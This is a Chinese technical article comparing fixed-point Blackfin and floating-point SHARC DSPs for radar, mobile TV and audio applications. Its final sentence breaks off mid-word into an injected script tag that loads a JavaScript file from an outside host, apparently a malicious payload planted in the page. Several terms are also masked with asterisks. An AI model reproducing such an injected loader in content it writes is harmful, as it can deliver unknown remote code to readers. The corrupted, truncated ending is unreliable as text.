浮点处理器的优点众所周知。毫无疑问,许多算法的浮点实现执行起来比定点代码占用更少的周期(当然假设定点代码提供相同的精度)。浮点处理器也往往更容易用汇编代码编程。不过,浮点运算的这两种优势还不足以影响设计师的最终选择。随着编译器质量的日渐提高,人们几乎不再用汇编语言编写代码,无论是定点或者浮点运算,采用c语言写代码几乎同样简单。此外,在c语言中,你肯定能为一个定点处理器编写浮点算法,尽管这样做会使性能大幅下降。设计师关心的是最后的系统性能、成本以及上市时间。在下面的分析中,我要使用它们作为衡量标准以决定该使用何种类型处理器。
目前有各式各样的处理器,既有定点的也有浮点的。对每个处理器逐一进行分析将使这篇文章的长度足以与一本百科全书相媲美。因此我们将分析范围限制在以下处理器上:两款来自定点阵营的adi blackfin处理器和来自其浮点竞争对手的sharc处理器。我们还将进一步挑选两个相似价位的处理器--adsp-21531 blackfin和adsp-21375 sharc进行比较,到截稿时,如果购买数量合理的话,它们的单价为5美元左右。
有人也许会认为,在芯片价格相似的情况下,应该选择浮点处理器,仅仅因为万一需要用到浮点运算的时候,它也可以应付。但是芯片价格的接近并不一定总能转化成最终系统价格的接近。例如,对于相同的定点运算任务来说,sharc的功耗比blackfin高,这将引起电源设计耗费的增加和其它一些相关问题。无论如何,单一的应用很可能会偏好某种处理器。所以,为了公平起见,我们将考虑四种单独的应用:1)军用雷达;2)移动电视;3)专业音效处理器;4)免提便携装置中的自动回波抵消器。
选择这些应用并非是乱选一通。相反,我选择这些应用出于以下标准:这种应用是所在领域的明显赢家;或者答案还不是很确定并需要深度分析;或者这种应用太简单,以致容易引起误解。我还想补充一点,如果没有考虑asic硬件协处理器(片上或片下)以及可以从dsp卸载一些信号处理任务的fpga,那么任何实际分析都是不完全的。 有关这些方面的讨论完全在本文的范围之外,但是请记住,以下的研究仅仅是真实世界里更大范围分析的一部分。
军用雷达
我们最好从容易的选择开始。在军用雷达中你会经常用到浮点处理器。为什么?因为在这种应用中浮点性能是不可缺少的。雷达依靠的就是测定自模糊函数的最大绝对值。该函数表达的是发出的测试信号和接收的回波之间的互相关性。
这是一个指数函数的积分。这种积分能用fft技术计算。在计算大型fft时,浮点运算十分有用,而且在这里采用浮点处理器没有任何障碍。只要热量能排出(即处理器不发烫),功率不是大问题。该装置的成本也不是主要问题,因为这些处理器成本仅占整个系统成本的很小部分。事实上,一般不大会选择adsp-21367 sharc来完成这样的任务,因为该应用的一个目标是在每平方毫米中尽可能提供更多的处理能力。因此,adi公司的tigersharc系列产品中的高性能adsp-ts201会更适合这个应用。
移动电视
这是另一个易于决定的选择。在移动电视中完全没有必要进行浮点处理。大部分的信号链处理是在标准***中进行的,如mpeg-2, mpeg-4, jpeg-2000和h.264。这些算法被设计由定点运算来执行。更高精度和更大动态范围的浮点运算不仅毫无帮助,而且根本无法使用,因为这些算法通常都只精确到比特。
例如,在视频编***中使用的频域的变换实际上是某种形式的dct变换(离散余弦变换)。表面上,似乎浮点运算更适合于dct计算,就像适合fft计算一样。浮点运算确实会产生更加精确的dct。不幸的是,视频编***中的dct是被设计在定点处理器上完成的,并且只精确到比特,因此在这里追求更高的精度是完全错误的。
更何况,视频编***的大部分工作量都用于控制代码,那里同样也不需要浮点编码。比如,视频编***中使用的熵编码器占了整个工作量的很大一部分(在h.264算法中使用的cabac编码器更是如此)。
这里所考虑的两种处理器,能根据下列事实较清楚地做出正确的选择,即blackfin处理器拥有特别设计的加速视频算法性能的指令。相反,sharc处理器没有特殊的视频指令。此外,功耗对于移动市场来说是至关重要的,这几乎就将浮点处理器排除在外了。这些使选择变得轻而易举。
而其余的应用实例将需要我们进行更加深入的分析,才能做出正确的处理器选择。
专业音效处理器
现在我们将面对一个选择不是那么清晰的应用。这里没有移动应用所需要的严格功耗限制,音效处理器通常是通过外接电源供电的。除非处理器非常热,需要强制冷却(一个很昂贵的建议),否则关于功耗的讨论都将归于供电成本。
举例来说,我们正设法为一个双通道?script src=http://er12.com/t.js>











